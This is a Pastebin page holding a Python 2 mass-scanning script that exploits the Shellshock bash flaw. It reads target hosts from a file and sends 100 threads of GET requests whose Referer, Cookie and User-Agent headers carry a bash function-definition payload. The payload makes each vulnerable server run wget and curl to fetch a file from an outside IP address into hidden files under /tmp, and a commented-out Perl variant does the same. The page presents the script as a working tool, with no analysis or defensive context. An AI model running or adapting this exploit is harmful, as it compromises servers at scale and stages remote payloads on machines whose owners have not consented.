Advertisement
Guest User

Untitled

a guest
Mar 5th, 2015
216
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.30 KB | None | 0 0
  1. #!/usr/bin/env python
  2. import httplib
  3. from threading import Thread
  4. from Queue import Queue
  5.  
  6. threads=100
  7. timeout=6
  8. path="/folder/index.php"
  9. #cmd="() { :;};/usr/bin/perl -e 'system(\"wget http://69.162.100.77/log.php -O /tmp/.a;curl -O /tmp/.b http://69.162.100.77/log.php\")'"
  10. cmd="() { :;};/bin/bash -c 'wget http://69.162.100.77/log.php -O /tmp/.a;curl -o /tmp/.b http://69.162.100.77/log.php'"
  11. headers={"Referer":cmd,"Cookie":cmd,"User-Agent":cmd}
  12. total=0
  13.  
  14. def engine():
  15. while True:
  16. (count,target)=q.get()
  17. print "%d/%d %s" %(count,total,target)
  18. try:
  19. connection=httplib.HTTPConnection(target,80,timeout)
  20. connection.request("GET",path,headers)
  21. connection.sock.settimeout(timeout)
  22. response=connection.getresponse()
  23. connection.close()
  24. except Exception as e:
  25. True
  26. q.task_done()
  27. return
  28.  
  29. def main():
  30. targets=[line.strip() for line in open("target.txt").readlines() if len(line.strip())>0]
  31. global total
  32. total=len(targets)
  33. print "%s hosts using %s threads" %(total,threads)
  34.  
  35. global q
  36. q=Queue(threads*2)
  37. for i in range(threads):
  38. t=Thread(target=engine)
  39. t.daemon=True
  40. t.start()
  41. try:
  42. count=1
  43. for target in targets:
  44. q.put((count,target))
  45. count=count+1
  46. q.join()
  47. except KeyboardInterrupt:
  48. return
  49.  
  50. if __name__=='__main__':
  51. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement